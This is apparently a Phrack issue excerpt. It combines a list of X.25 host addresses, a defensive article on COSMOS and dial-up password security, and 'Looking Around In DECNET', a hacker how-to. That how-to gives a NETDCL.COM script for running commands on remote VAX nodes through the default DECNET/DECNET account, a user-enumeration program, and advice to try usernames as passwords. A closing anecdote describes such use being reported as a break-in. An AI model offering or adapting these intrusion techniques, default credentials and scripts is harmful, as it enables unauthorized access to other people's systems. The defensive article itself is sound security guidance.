| B 0311 060 300 020                         |                      | Dartmouth College                                                              |
| 0311 060 300 02000                         | DARTMTH              | Dartmouth College, USA                                                         |
| 0311 060 300 05000                         |                      | Corporate Timesharing                                                          |
| 0311 060 301 54700                         |                      | Raytheon Company Scientific Computer Service                                   |
| X 0311 060 700 02000                       | CORNELLO             | Cornell University (134.5 bps)                                                 |
| T 0311 060 700 02100                       | CORNELL1             | Cornell University (300 bps)                                                   |
| T 0311 060 700 02200                       | CORNELL2             | Cornell University (1200 bps)                                                  |
| 0311 060 700 02300                         | CORNELL3             | Cornell University (1200 bps)                                                  |
| 0311 060 700 03600<br>0311 060 702 00      | CODNETIO             | TIPO Computer Cornell University                                               |
| 0311 060 702 00                            | CORNELL2<br>CORNELL2 | Cornell University                                                             |
| 0311 060 800 02500                         | OOTHVEELE            | University of Wisconsin                                                        |
| 0311 060 801 6630                          |                      | University of Wisconsin                                                        |
| 0311 060 900 4200                          |                      | Dow-Jones                                                                      |
| 0311 061 200 02500                         |                      | Honeywell Inform Services Datanetwork                                          |
| 0311 061 200 02700<br>0311 061 200 121     |                      | Honeywell Inform Services Datanetwork<br>Minnesota Outdial 1200 bps (Area 612) |
| 0311 061 200 121                           |                      | Honeywell Inform Services Datanetwork,                                         |
|                                            |                      | 300 bps                                                                        |
| 0311 061 201 06500                         |                      | Honeywell Inform Services Datanetwork                                          |
| 0311 061 201 06600                         |                      | Honeywell Inform Services Datanetwork,                                         |
| 0311 061 201 06700                         |                      | 110 bps Honeywell Inform Services Datanetwork,                                 |
|                                            |                      | 300 bps                                                                        |
| 0311 061 201 06900                         |                      | Honeywell Inform Services Datanetwork,                                         |
| B 0311 061 400 021                         |                      | 134 bps CAS online                                                             |
| D 0311 061 400 02124                       | CASUSA               | STN International                                                              |
| 0311 061 700 02000                         |                      | Bolt Beranek & Newman                                                          |
| 0311 061 700 02300                         |                      | Computer Corporation of America                                                |
| 0311 061 700 02400<br>0311 061 700 03600   |                      | AVCO Computer Services Data Resources Inc                                      |
| 0311 061 700 03800                         |                      | BBN-RCC                                                                        |
| 0311 061 700 03800                         |                      | Bolt Beranek & Newman                                                          |
| 0311 061 700 06700                         |                      | Management Decision Systems Inc                                                |
| 0311 061 700 07000                         |                      | Interactive Science Corp                                                       |
| 0311 061 700 07600                         |                      | Interactive Science Corp                                                       |
| 0311 061 700 08000<br>B 0311 061 700 08401 |                      | III Systems Inc<br>LCG                                                         |
| 0311 061 700 12000                         |                      | Cullinane Corp                                                                 |
| 0311 061 700 13700                         |                      | Masachusetts Institute of Technology                                           |
| 0311 061 700 13800                         |                      | Masachusetts Institute of Technology                                           |
| 0311 061 700 13900                         |                      | Masachusetts Institute of Technology                                           |
| 0311 061 700 14000<br>B 0311 061 700 270   |                      | Masachusetts Institute of Technology Waltham                                   |
| B 0311 001 700 270<br>B 0311 061 700 609   |                      | Package                                                                        |
| B 0311 061 700 613                         |                      | BBN10                                                                          |
| B 0311 061 700 614                         |                      | BBNVAX                                                                         |
| 0311 061 701 01600                         |                      | Data Resources Inc (300 bps)                                                   |
| 0311 061 701 01900<br>0311 061 701 16100   |                      | Data Resources Inc (300 bps) First Data Division/ADP Inc                       |
| 0311 061 701 16100                         |                      | First Data Division/ADP Inc First Data Division/ADP Inc                        |
| 0311 001 701 10200                         |                      | Data Resources Inc (134.5 bps)                                                 |
| 0311 061 701 26900                         |                      | Interactive Management Systems                                                 |
| 0311 061 701 27500                         |                      | Masachusetts Institute of Technology                                           |
| 0311 061 701 39000<br>0311 061 701 40300   |                      | Masachusetts Institute of Technology                                           |
| 0311 061 701 40300                         |                      | Masachusetts Institute of Technology<br>Delphi                                 |
|                                            |                      | <u>*</u>                                                                       |

0454

ΗK

Hong Kong

```
0454 2
                                  Intelpak
 0454 5
                                  Datapak
A 0454 550 010 4
                       HKDATA
                                 Hong Kong DATAPAK Info
A 0454 550 043 1
                                  DATAFAX
 0487
                                  Taiwan
 0487 2
                                  Pacnet
 0487 7
                                  Udas
 0505
                       AUS
                                  Australia
 0505 2
                                  Austpac
 0505 228 621 000
                                  Anglo/Australian Observatory
 0505 228 621 001
                                  CSIRO Radio-Physics
 0505 228 621 001
                                  FTP for Epping
0505 233 422 000 MELBUNI Melbourne Univ. Australia A 0505 273 720 000 UQ Univ. of Queensland Austra
                                 Univ. of Queensland Australia
A 0505 273 720 000
                       UQXA
                                  University of Queensland ANF-10 gateway
D 0505 273 722 0000
                                  Uni Queensland
 0505 282 620 000
                                  FTP For Austek
A 0505 282 620 000
                                  VAX in Sidney, Australia
 0505 3
                                  Midas
 0505 321 000 1
                                  Network test
 0505 321 000 3
                                  MIDAS FOX Test
 0510
                                  Indonesia
 0510 1
                                  PSDS (1986)
 0525
                       SGP
                                  Singapore
 0525 2
                                  Telepac
A 0525 211 668 8
                                  Telepac Info
                      TELEPAC
                                 New Zealand
 0530
                       NZ
  0530 1
                                 P.S.S. (Pacnet)
 0530 171 000 004
                                 Univ of Waikato New Zealand
                       WAIKATO
B 0530 197 000 016
                                  ASMAIL
 0547
                                  Fr.Polyn.
 0547 0
                                  Tompac
 0612
                                  Ivory Coast
 0612 2
                                  Sytranpac
 0647
                                  Reunion
 0647 0
                                  Dompac/NIT
 0655
                       ZA
                                  South Africe
 0655 0
                                  Saponet
D 0655 011 101 207
                                  UNI-NET
  0714
                                  Panama
 0714 1
                                  Intelpac
 0722
                                  Argentinia
  0722 2
                                  Arpac
I 0722 221 110 0171
  0724
                       BR
                                  Brazil
                                  Interdata
  0724 0
 0724 1
                                  Renpac
D 0724 782 450 8
                                  Nuclear Research Institute
 0730
                                  Chile
                                  Entel
 0730 0
 0732
                                  Colombia
 0732 0
 0742
                                  French Guiana
 0742 0
                                  Dompac/NTI
 0900
                                  USA ?
  0900 0
                                  Dialnet
______
 Local addresses on KOMETH (0228 479 110 86):
   11 KOMETH-Informations
   120 Modems 1200 bps (predefined numbers, some with a PW)
  124 Modems 2400 bps ( " " , " " a PW)
130 Modems 300 bps ( " " , " " a PW)
   1D0 RZ-VAX (EZRZ1)
   300 ETZ-VAX (CUMULI)
   520 ETHICS, Library database
   D11
       PSI-Informations
```

Tue Oct 05 05:46:35 2021

4.txt

C000 Time

```
C025 X25 Gateway (RZU, with password)
C011 NUZ-Informations
```

C100 RZU, VM/SP, full-screen

There are two information systems on the RZ-VAX:

MAC-BBS BBS with Mac-specific informations. Access for validated users only (that means that you have to type in your name, address and whether you're a student at the ETH or not and then wait a few

(Username=MAC)

VisInfo Informations server of the VIS (Verein der InformatikStudenten) Contains some boards with mail from several networks and from local sources. Has a CHAT (closed during prime time hours). Free access.

(Username=VISINFO)

```
Local addresses at CERN (0228 468 114 0510):
  17 Lyon (own network)
  23 PAD
  31 VXOMEG
  41 Wisconsin/Madison
  42 CERNLINE 193
  45 DECserver
 51 ALEPH
 56 MERLIN VAX
 61
     (Prompt )
 72 Wylbur / VM
 100 Wylbur / VM
 101 VM/370 CERNVM
 102 VM/370 CERNVMB
103 VM/370 CERNVM
110 VXLDB1 VAX 8650 VMS 4.6
111 Information
112 VXSB
115 VXLDB1
120 Service CAD_CAM (VAX 8650+VAX785)/SYSTEME=VMS 4.6
121 CAD_CAM
122
     VXCERN
 123
     VXCERN
 124 BSD
     CERNVM
 125
     PAD
 127
130 L3 test beam VXC3
     ALEPH-TPC
137
140 VXEPEL
141 DECserver 200 ("user friendly")
142 CERNADD
146 VXEPEL
147 Uni Genf TEC VAXTEC
151 CCVAX / DECserver 200
152 Uni Genf WA70
154 ALEPH 750 Fastbus VAX
161 MCR
162 MCR
166 VXWA80
167
     cernvax
170 VXINFN
175 ALEPH
176 MCR with HELP
X29 X25 Gateway
```

Addresses on Merit (0228 468 114 0583):

| Name       | System/machine      | Organization          | Location     |
|------------|---------------------|-----------------------|--------------|
|            |                     |                       |              |
| MSUnet-IBM | VM/CMS IBM 3090-180 | Michigan State Univ   | East Lansing |
| OU         | Multics Honeywell   | Oakland Univ          | Rochester    |
| UB         | MTS IBM 3090-400    | Univ of Michigan      | Ann Arbor    |
| UM         | MTS IBM 3090-400    | Univ of Michigan      | Ann Arbor    |
| WM         | DECsystem-10        | Western Michigan Univ | Kalamazoo    |
| WU         | MTS Amdahl 470V/8   | Wayne State Univ      | Detroit      |

If you have a question about the use of the Merit Network, call (313) 764-9423 and ask for a user consultant.

Other host computers and services available on the Merit network:

| Autonet        | CMU-Cyber       | CMU-IBM     | Datapac           |
|----------------|-----------------|-------------|-------------------|
| DIALOUT-AA     | DIAL1200-AA     | DIAL2400-AA | DIAL300-AA        |
| EMU-VAX        | IGW             | ITI         | MAGNET            |
| MSU-CLSI       | MSU-CLVAX1      | MSU-EGRNET  | MSU-IBM           |
| MSU            | MTU             | MTUS5       | OU-SecsNet        |
| RPI            | RUAC            | Survey      | Telenet           |
| UM-Annex       | UM-CIC          | UM-CLINFO   | UM-dippy          |
| UM-DSC         | UM-EnginHarris  | UM-MMVAX    | UM-Public-Service |
| UM-QuickSlides | UM-RAVAX        | UM-zippy    | UMD-LIB           |
| UMLIB          | UMLIB-300       | WAYNEST1    | WAYNEST2          |
| WMU-CAE        | WMU-Kanga       | WMU-Pooh    | WMU-Puff          |
| WMU-Tigger     | WMU-Winnie      | WSU-CSVAX   | WSU-ET            |
| WSUNET         | ZOOnet-KCollege | ZOOnet-KVCC | ZOOnet-Nazareth   |

Some of the other computers and services which can be accessed via Telenet, Autonet, and Datapac:

| ABA/NET         | ACP            | ADPNS-261      | ADPNS-3          |
|-----------------|----------------|----------------|------------------|
| ADPNS-446       | ADPNS-9        | Alberta        | ARTFL            |
| Automail-23     | Automail-297   | Boeing         | British-Columbia |
| BRS             | Cal-Berkeley   | Calgary        | Caltech-HEP      |
| Carnegie-DEC-20 | Carnegie-MICOM | Carnegie-11/45 | CompuServe       |
| Comshare        | Cornell        | Dalhousie      | DatapacInfo      |
| Dialcom         | Dialog         | Dow-Jones      | Guelph           |
| Guelph-Cosy     | Illinois       | Illinois-Cyber | LEXIS            |
| Manitoba        | Maryland-Unix  | McGill         | MGH              |
| Minnesota-Cyber | Minnesota-VAX  | MIT-Multics    | MIT-VM           |
| Montreal        | Natl-Lib-Med   | NCAR-Telenet   | New-Brunswick    |
| Newsnet         | NJIT-EIES      | NLM            | NLM-MCS          |
| Notre-Dame      | NRC            | NYTimes        | OAG              |
| Queens          | Rice           | SDC            | SFU              |

Volume Three, Issue 27, File 5 of 12

COSMOS

COmputer System for Mainframe OperationS

Part Two

by King Arthur

This article will present solutions to the computer security problems presented in my previous file. The following are simple but often neglected items which if properly treated can immensely increase your company's computer security. These points apply not merely in regards to COSMOS, but to all computers in all companies.

### A) Dial-Up Security:

When securing a computer system, regardless of its type, it's important to remember this: the only way someone can remotely access your system is if there is a dial-up line leading to that system. If your system has a dial-up, make sure that you have taken every possible precaution to secure that line. "The one piece of advice I would give is: Be careful with dial-up lines," says Bellcore's Ed Pinnes.

Dave Imparato, Manager of Database Management at New York Telephone, says, "We have devices that sit in front of our computers that you have to gain access to. In order to even get to COSMOS, there are three or four levels of security you have to go through, and that's before you even get to the system."

Rules for protection of Dial-Up lines:

- 1. Have as few dial-up lines as possible. Private lines or direct connections are often a viable replacement for dial-up lines.
- 2. If you must have phone lines going to your computer, use external hardware, if possible. For instance, the Datakit Virtual Circuit Switch (VCS) will require a user to specify an "access password" and a system destination to specify which system you are calling. The VCS would then connect you to the requested system which would prompt you for a login and password. Using hardware similar to this serves a double purpose:
  - A) It is harder for someone to get into your computer, due to additional passwords;
  - B) Employees need only dial a single number to access a number of systems.

Another good type of hardware is a callback modem. A callback modem will prompt users for a login and password. If these are correct, the modem will automatically callback to a predetermined number. At that point you would login to the computer. The advantage of callback is that unless a call is placed from a certain phone, there is no way to connect. Unfortunately, this is not always efficient for systems with large numbers of users.

Lastly, and the most effective means of access, is to have a system which does not identify itself. A caller has to enter a secret password, which doesn't display on the screen. If a caller doesn't type the correct password, the system will hang up, without ever telling the caller what has happened.

3. If you ever detect "hackers" calling a certain number, it is advisable to change that number. Phone numbers should be unlisted. According to a hacker, he once got the number to an AT&T computer by asking directory

assistance for the number of AT&T at 976 Main Street.

4. If dial-up lines aren't used on nights or weekends, they should be disabled. Computer hackers usually conduct their "business" on nights or weekends. The COSMOS system has the ability to restrict access by time of day.

### B) Password Security:

Using the analogy between a computer and a file cabinet, you can compare a password to the lock on your file cabinet. By having accounts with no passwords you are, in effect, leaving your file cabinet wide open. A system's users will often want passwords that are easy to remember. This is not an advisable idea, especially for a database system with many users. The first passwords tried by hackers are the obvious. For instance if MF01 is known to be the user name for the frame room, a hacker might try MF01, FRAME, MDF, or MAINFRAME as passwords. If it's known to a hacker that the supervisor at the MDF is Peter Pinkerton, PETE or PINKERTON would not be very good passwords.

### Rules for password selection:

- Passwords should be chosen by system administrators or the like. Users
  will often choose passwords which provide no security. They should not be
  within the reach of everybody in the computer room, but instead should be
  sent via company mail to the proper departments.
- 2. Passwords should be changed frequently, but on an irregular basis -- every four to seven weeks is advisable. Department supervisors should be notified of password changes via mail, a week in advance. This would ensure that all employees are aware of the change at the proper time. One thing you don't want is mass confusion, where everybody is trying to figure out why they can't access their computers.
- 3. System administrators' passwords should be changed twice as often because they can allow access to all system resources. If possible, system administrator accounts should be restricted from logging in on a dial-up line.
- 4. A password should NEVER be the same as the account name. Make sure that ALL system defaults are changed.
- 5. Your best bet is to make passwords a random series of letters and numbers. For example 3CB06W1, Q9IF0L4, or F4W21D0. All passwords need not be the same length or format. Imparato says, "We built a program in a PC that generates different security passwords for different systems and makes sure there's no duplication."
- 6. It's important to change passwords whenever an employee leaves the company or even changes departments. Imparato says, "When managers leave our organization, we make sure we change those passwords which are necessary to operate the system."
- 7. The Unix operating system has a built-in "password aging" feature, which requires a mandatory change of passwords after a period of time. If you run any Unix-based systems, it's important to activate password aging.
- 8. When you feel you have experienced a problem, change ALL passwords, not just those passwords involved with the incident.

### C) Site security:

There have been a number of articles written by hackers and published in 2600 Magazine dealing with garbage picking or what hackers call "trashing". It's important to keep track of what you throw out. In many companies, proprietary operations manuals are thrown out. COSMOS itself is not a user-friendly system. In other words, without previous exposure to the system it would be very difficult to operate. Bellcore's Beverly Cruse says, "COSMOS is used in so many places around the country, I wouldn't be surprised if they

found books... in the garbage, especially after divestiture. One interesting thing about a COSMOS article written by hackers, is that there was a lot of obsolete information, so it shows that wherever the information came from... it was old."

Rules for site security:

- 1. Although it may seem evident, employees should be required to show proper identification when entering terminal rooms or computer facilities. It's doubtful that a hacker would ever attempt to infiltrate any office, but hackers aren't the only people you have to worry about.
- 2. Urge employees to memorize login sequences. It's a bad idea for passwords to be scribbled on bits of paper taped to terminals. Eventually, one of those scraps may fall into the wrong hands.
- 3. Garbage should be protected as much as possible. If you use a private pick-up, keep garbage in loading docks, basements, or fenced-off areas. If you put your garbage out for public sanitation department pick-up, it's a good idea to shred sensitive materials.
- 4. Before throwing out old manuals or books, see if another department could make use of them. The more employees familiar with the system, the less of a chance that there will be a security problem.
- 5. Printing terminals should be inspected to make sure that passwords are not readable. If passwords are found to echo, check to see if the duplex is correct. Some operating systems allow you to configure dial-ups for printer use.

### D) Employee Security:

When a hacker impersonates an employee, unless he is not successful there is a great chance the incident will go unreported. Even if the hacker doesn't sound like he knows what he's talking about, employees will often excuse the call as an unintelligent or uninformed person. It's unpleasant to have to worry about every call with an unfamiliar voice on the other end of the phone, but it is necessary.

Rules for employee security:

- 1. When making an inter-departmental call, always identify yourself with:
  1) Your name; 2) Your title; and 3) Your department and location.
- 2. Be suspicious of callers who sound like children, or those who ask you questions that are out of the ordinary. Whenever someone seems suspicious, get their supervisor's name and a callback number. Don't discuss anything sensitive until you can verify their identity. Don't ever discuss passwords over the phone.
- 3. When there is a security problem with a system, send notices to all users instructing them not to discuss the system over the phone, especially if they do not already know the person to whom they are talking.
- 4. Remind all dial-up users of systems, before hanging up.
- 5. If security-minded posters are put up around the workplace, employees are bound to take more care in their work and in conversations on the phone.
- 6. If managers distribute this and other computer security articles to department supervisors employee security will be increased.

### E) General Security:

Bellcore recently sent a package to all system administrators of COSMOS systems. The package detailed security procedures which applied to COSMOS and Unix-based systems. If you are a recipient of this package, you should re-read it thoroughly to ensure that your systems are secure. Cruse says, "Last

year... I had a call from someone within an operating company with a COSMOS security problem. All we really did was give them documentation which reminded them of existing security features... There is built-in security in the COSNIX operating system... We really didn't give them anything new at the time. The features were already there; we gave them the recommendation that they implement all of them."

If you feel you may not be using available security features to the fullest, contact the vendors of your computer systems and request documentation on security. Find out if there are security features that you may not be currently taking advantage of. There are also third party software companies that sell security packages for various operating systems and computers.

Computer security is a very delicate subject. Many people try to pretend that there is no such thing as computer crime. Since the problem exists, the best thing to do is to study the problems and figure out the best possible solutions. If more people were to write or report about computer security, it would be easier for everyone else to protect themselves. I would like to see Bellcore publish security guidelines, available to the entire telecommunications industry. Keep in mind, a chain is only as strong as its weakest link.

Volume Three, Issue 27, File 6 of 12

| <<<< | <<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>> | >>>>> |
|------|-----------------------------------------|-------|
| <<<  |                                         | >>>   |
| <<<  | Looking Around In DECNET                | >>>   |
| <<<  |                                         | >>>   |
| <<<  | by Deep Thought of West Germany         | >>>   |
| <<<  |                                         | >>>   |
| <<<  | June 1, 1989                            | >>>   |
| <<<  |                                         | >>>   |
| <<<< | <<<<<<<<<<<                             | >>>>> |

Disclaimer: I take no responsibility for any use or abuse of the information contained in this article, nor for any damage caused by the use of methods described. DECNET, VAX, and VMS are possibly registered trademarks of Digital Equipment Corporation.

There comes a time when every somewhat intelligent programmer asks: Is hacking difficult? Now, being in a university network, why don't just give it a try? Since one is an official student and somewhat authorized to use the computing facilities, testing the modern means of communication should cause no trouble.

Well, you start searching on those nodes, you have official access for interesting programs and procedures. And you find: Netdcl, just one program of many, that obviously enables one to run commands on remote nodes without having an account on these nodes. A really interesting thing, as nearly everything is allowed that a normal user can do.

The dear reader may start to think: Wasn't there always the shouting about VMS being the MOST SECURE computer system, making it UNPENETRABLE to hackers? Ok, cool down, this feature can be disabled and so, you think, if someone has super secret data on his VAX, he will stop any use or abuse of this feature.

2nd Act -- Somewhere one has heard about some mystery things called system calls. Since one always wanted to know about how to react on keystrokes on a VAX (really being not trivial!) you start reading the manuals more precisely to find out how to do it in Pascal.

Randomly on browsing thru the pages you discover functions which deliver information about Userids. This comes in handy, as a friend engaged in university politics wants to distribute a leaflet by email to all registered users. In fact, it's completely unproblematic to gain a list of all users. An example program, although written in Assembler, is even contained in the manuals. Enjoy a list of 1000 Userids complete with information about network access rights. The Pascal program is contained in Appendix B (later in this file).

Sorry, passwords are not stored in this list. Even the Sysop can't access them, so that's no great loss. Guess what passwords many accounts have? Sure, just try the username. It's really amazing how ignorant users can be. Of course this is a problem of group-accounts, that many users have access to and must know the password. Nevertheless, the hole is there.

The real hacker, once he has logged in on such an account surely finds ways to gain system privilege. This requires in-depth knowledge of the Kernel of VMS and is another story I won't deal with.

## What is DECNET?

DECNET is the means, by which computers from Digital Equipment Corporation (DEC) can be connected to each other. Each computer in this network has an address which is normally given by x.y where x is the area number (an integer) and y is the node number in this area which ranges from 1 to 1023. To access DECNET nodes, one specifies just one number, which can be computed from x and yby the following formula:

nodenumber = x \* 1024 + y

Often nodes, especially local nodes (having the same area number as your current node) have names assigned to them so they can be memorized more easily.

## Interesting DECNET Commands

To get a (first) list of available DECNET nodes, try the command

### \$ SHOW NET

The \$ (as in the following examples) is the default prompt of VMS and should not be entered. This Command will give you a list of (hopefully) reachable nodes. All lines of the output contain the network address in the form x.y and normally a name which this node is known by.

Your current node is mentioned in the first line in "VAX/VMS network status for local node X.Y Name". In most cases you will then just see local nodes listed and a line saying "The next hop to the nearest area router is node XX.YY". This node contains more information about the DECNET than the node you are currently on. If you have an account on the specified node, log on there and try again. If not, well, play with the local nodes listed and look at the command NCP shown later.

Now, what can you do with those nodes that were mentioned in the output? First command is

### \$ SET HOST <node>

Where <node> is either a nodename or a nodenumber (see above). Thus, if SDIVAX was listed in the SHOW NET list as 42.13, then you may try both SET HOST SDIVAX or SET HOST 43021 (42\*1024+13 = 43021). Probably you'll get that ugly Username: prompt. You're on your own then.

Second thing you can do with DECNET is email. On VMS the MAIL program can send mail to other users. If you and your friend both have accounts on the same DECNET, you can send him mail if you know his nodename or nodenumber by specifying SDIVAX::FREDDY or 43021::FREDDY.

Then there is PHONE. This is a utility to talk to another (or several) user(s) on a DECNET. If you want to call Freddy, just type PHONE SDIVAX::FREDDY. If he is logged in, his terminal will ring and if he answers his phone (with PHONE ANSWER) you may chat with him. PHONE has another nice feature built in: You may ask for a list of active users on a remote name by %DIR SDIVAX. See the online help on PHONE for further details.

The next really mighty DECNET facility is remote file access. Valid filenames in VMS consist of the components node, disk, directory and filename. An example for a valid filename is SDIVAX::DISK\$2:[NASA.SECRET]SDI.DOC where some components may be omitted and default values are used instead.

File names including the node specification may be used in nearly all VMS commands examples being DIR, TYPE and COPY. Access to the specified file is granted, if the protection of the file allows access by world, or if the owner of the file is the user DECNET. This pseudo userid is available on every VAX and has the password DECNET. Access to that account is limited to network processing so you can't just log in with Username=DECNET, password=DECNET. By default a special directory owned by the User DECNET exists on each node. This directory can be accessed by just specifying the nodename without any disk or directory information, as in

### \$ DIR SDIVAX::

If users played too much with this feature, the directory may be protected or otherwise disabled.

The last feature described here is the remote command processing facility. If you try to open a file with the specification

### \$ SDIVAX::"task=foo.com"

Instead of opening the DCL procedure, foo.com will be executed. To make use of this feature easily, programs have been written to interactively communicate with a remote host. The command procedure NETDCL.COM does this task and is contained in the Appendix A (seen later in this file. Look at this DCL-Procedure to learn more about DECNET features.

## The Key To Universal Knowledge

There is a pearl under the programs on a VAX. It's called NCP and will give readily information about the whole DECNET. You start this program either by MCR NCP or by doing a SET DEF SYS\$SYSTEM and RUN NCP. Use the on-line Help provided in NCP (which means Network Control Program) to learn more.

### NCP> SHOW KNOWN NODES

Provides a list of all nodes known on your current node, including the names you may use as node specifications. But there is more: You may connect to another node's database and get a list of nodes which are known at the remote node with

### NCP> SET EXEC SDIVAX

And then again the SHOW KNOWN NODES command. This feature should provide you with a nearly infinite list of node names and node numbers.

### Conclusion

There are many nice features available under DECNET. Probably I don't know all, but I hope this article showed you the mighty tools available on VMS to make network life easier.

WARNING: The author has had bad experiences with some node administrators, who didn't like their machines being contacted over DECNET. Yes, that's the drawback, each DECNET activity is written to a protocol file that is printed and deleted every month. So you should be careful in using DECNET.

### APPENDIX A:

The Procedure NETDCL.COM, sometimes called TELL.COM, NET.COM \$ IF f\$mode() .EQS. "NETWORK" THEN GOTO network \$ IF p1 .EQS. "" THEN READ/PROMPT="\_Node: " sys\$command p1 \$ nodespec = p1 - "::" \$ nodename = f\$extract(0,f\$locate("""",nodespec),nodespec) \$! include the following line for "hard cases" \$! nodespec = nodespec+"""decnet decnet""" \$ ON WARNING THEN CONTINUE \$ CLOSE/ERR=open\_server dcl\_server \$open\_server: \$ OPEN/READ/WRITE dcl\_server 'nodespec'::"TASK=NETDCL"/ERROR=open\_failure \$ ON WARNING THEN GOTO exit \$flush\_output: \$ READ dcl\_server record \$ IF record .EQS. "SEND\_ME\_A\_COMMAND" -THEN GOTO send\_command \$ WRITE sys\$output record \$ GOTO flush\_output \$send\_command: \$ IF p2 .NES. "" THEN GOTO single\_command \$ READ sys\$command record /PROMPT="''nodename'> " /END=exit \$ record := 'record

\$ IF record .EQS. "EXIT" THEN GOTO exit

```
6.txt Tue Oct 05 05:46:35 2021
```

```
$ WRITE dcl_server record
$ GOTO flush_output
$single_command:
$ command := 'p2' 'p3' 'p4' 'p5' 'p6' 'p7' 'p8'
$ WRITE dcl_server command
$single_flush:
$ READ dcl_server record
$ IF record .EQS. "SEND_ME_A_COMMAND"-
$ THEN GOTO exit
$ WRITE sys$output record
$ GOTO single_flush
$open_failure:
$ ON WARNING THEN EXIT
$ COPY/LOG Netdcl.Com 'nodespec'::
$ WAIT 0:0:1
$ OPEN/READ/WRITE dcl_server 'nodespec'::"TASK=NETDCL"
$ ON WARNING THEN GOTO exit
$ GOTO flush_output
$exit:
$ CLOSE dcl_server
$ EXIT
$network:
$ OPEN/READ/WRITE dcl_link sys$net
$ SET NOON
$ dcl_verify = 'f$verify(0)'
$ DEFINE sys$output dcl_link:
$server_loop:
$ WRITE dcl_link "SEND_ME_A_COMMAND"
$ READ dcl_link dcl_string /END_OF_FILE=server_exit /ERROR=server_exit
$ 'dcl_string'
$ GOTO server_loop
$server_exit:
$ IF dcl_verify THEN set verify
$ CLOSE dcl_link
$ DEASSIGN sys$output
$ EXIT
APPENDIX B
ALLUSER.PAS - Show all registered users
* alluser.pas - get names of all users
* by Deep, 1989
* This program is freely redistributable as long no modifications are made
* DISCLAIMER: I take no responsibility for any use or abuse of this
              program. It is given for informational purpose only.
* program history:
* 04-May-89 started
* 02-Jun-89
            clean up of code
[inherit ('sys$library:starlet.pen')]
program alluser(input,output);
                 = [word] 0..65535;
  type $word
                 = [byte] 0...255;
       $byte
       $quadword = record
                      lo, hi : unsigned;
                    end;
       $uquad = record
                      lo, hi : unsigned;
                    end;
var
  id: unsigned;
  status, status2: integer;
  length: $WORD;
  attrib, context, context2, context3: unsigned;
  ident, ident2: unsigned;
```

```
name: varying [512] of char;
  holder: $uquad;
begin
writeln('Alluser - use at your own risk!');
status := SS$_NORMAL;
{ id = -1 selects next identifier }
id := -1;
context := 0;
while (status <> SS$_NOSUCHID) do
  begin
   { find next identifier }
   status := $idtoasc(id,name.length,name.body,ident,attrib,context);
   if (status <> SS$_NOSUCHID) then begin
      write(pad(name,' ',16));
      if (ident div (65536*32768) > 0) then
         { it's a rights-list, so print the hex-value of the identifier }
         begin
         writeln(oct(ident, 12));
         context2 := 0;
         context3 := 0;
         { find all holders of this right }
         repeat
            holder := zero;
            status2 := $find_holder(ident, holder, attrib, context2);
            if (holder.lo <> 0) then begin
                ident2 := ident;
                { get UIC and username }
                status := $idtoasc(holder.lo,name.length,name.body,ident2
                    ,attrib,context3);
                write('
                                        ',pad(name,' ',16));
                writeln('[',oct(holder.lo div 65536,3),','
                    ,oct(holder.lo mod 65536,3),']');
               end;
         until (holder.lo = 0);
         end
      else
         { it's a UIC, so translate to [grp, user] }
         writeln('[',oct(ident div 65536,3),',',oct(ident mod 65536,3),']');
      end;
   end;
end.
```

This article has been brought to you by Deep Thought of West Germany. If you liked this article, grant me access if I once drop in your BBS!

Volume Three, Issue 27, File 7 of 12

### Prologue For None VMS Users

DECnet is the network for DEC machines, in most cases you can say VAXes.

DECnet allows you to do: - e-mail

- file transfer

- remote login

- remote command

- remote job entry

- PHONE

PHONE is an interactive communication between users and is equal to TALK on UNIX or a "deluxe"-CHAT on VM/CMS.

BELWUE, the university network of the state Baden-Wuerttemberg in West Germany contains (besides other networks) a DECnet with about 400 VAXes. On every VAX there is standard-account called DECNET with pw:= DECNET, which is not reachable via remote login. This account is provided for several DECnet-Utilities and as a pseudo-guest-account. The DECNET-account has very restricted privileges: You cannot edit a file or make another remote login.

The HELP-menu is equipped by the system and is similar to the MAN command on UNIX.

More information on DECnet can be found in "Looking Around In DECnet" by Deep Thought in this very issue of Phrack Inc.

Here, at the University of Ulm, we have an \*incredibly\* ignorant computer center staff, with an even bigger lack of system-literature (besides the 80 kg of VAX/VMS-manuals). The active may search for information by himself, which is over the level of "run," "FORTRAN," or "logout." My good luck that I have other accounts in the BELWUE-DECnet, where more information is offered for the users. I am a regular student in Ulm and all my accounts are completely legal and corresponding to the German laws. I don't call myself a "hacker," I feel

In the HELP-menu in a host in Tuebingen I found the file netdcl.com and the corresponding explanation, which sends commands to the DECNET-Account of other VAXes and executes them there (remote command). The explanation in the HELP-menu was idiot-proof — therefore for me, too :-)

more like a "user" (...it's more a defining-problem).

With the command "\$ mcr ncp show known nodes" you can obtain a list of all netwide active VAXes, as is generally known, and so I pinged all these VAXes to look for more information for a knowledge-thirsty user. With "help", "dir" and other similar commands I look around on those DECnet accounts, always watching for topics related to the BELWUE-network. It's a pity, that 2/3 of all VAXes have locked the DECNET-Account for NETDCL.COM. Their system managers are probably afraid of unauthorized access, but I cannot imagine how there could be such an unauthorized access, because you cannot log on this account -- no chance for trojan horses, etc.

Some system managers called me back after I visited their VAX to chat with me about the network and asked me if they could help me in any way. One sysop from Stuttgart even sent me a version of NETDCL.COM for the ULTRIX operation system.

Then, after a month, the  $\,$  H  $\,$  O  $\,$  R  $\,$  O  $\,$  R  $\,$  came over me in shape of a the following mail:

--- --- --- --- --- --- --- --- --- --- --- --- ---

From: TUEBINGEN::SYSTEM 31-MAY-1989 15:31:11.38

To: FRAMSTAG

CC:

Subj: don't make any crap, or you'll be kicked out!

From: ITTGPX::SYSTEM 29-MAY-1989 16:46

To: TUEBINGEN::SYSTEM

Subj: System-breaking-in 01-May-1989

To the system manager of the Computer TUEBINGEN,

On May 1st 1989 we had a System-breaking-in in our DECNET-account, which started from your machine. By help of our accounting we ascertained your user FRAMSTAG to have emulated an interactive log-on on our backbone-node and on every machine of our VAX-cluster with the "trojan horse" NETDCL.COM. Give us this user's name and address and dear up the occurrence completely. We point out that the user is punishable. In case of repetition we would be forced to take corresponding measures. We will check whether our system got injured. If not, this time we will disregard any measure. Inform us via DECnet about your investigation results -- we are attainable by the nodenumber 1084::system

Dipl.-Ing. Michael Hager

---- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---

My system manager threatened me with the deleting of my account, if I would not immediately enlighten the affair. \*Gulp\*!

